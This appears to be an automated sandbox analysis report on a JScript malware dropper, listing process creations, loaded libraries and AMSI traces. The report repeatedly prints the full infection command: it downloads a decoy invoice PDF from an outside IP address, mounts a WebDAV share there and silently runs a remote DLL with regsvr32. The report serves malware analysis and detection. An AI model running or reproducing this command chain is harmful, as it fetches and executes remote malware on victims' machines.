Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1664,i,11660581828871030460,7162394167741040457,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28012670217524.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1664,i,11660581828871030460,7162394167741040457,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2479.js.csv");ITextStream.WriteLine(" entry:7288 f:qafcbnb");ITextStream.WriteLine(" exec:2 f:qafcbnb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
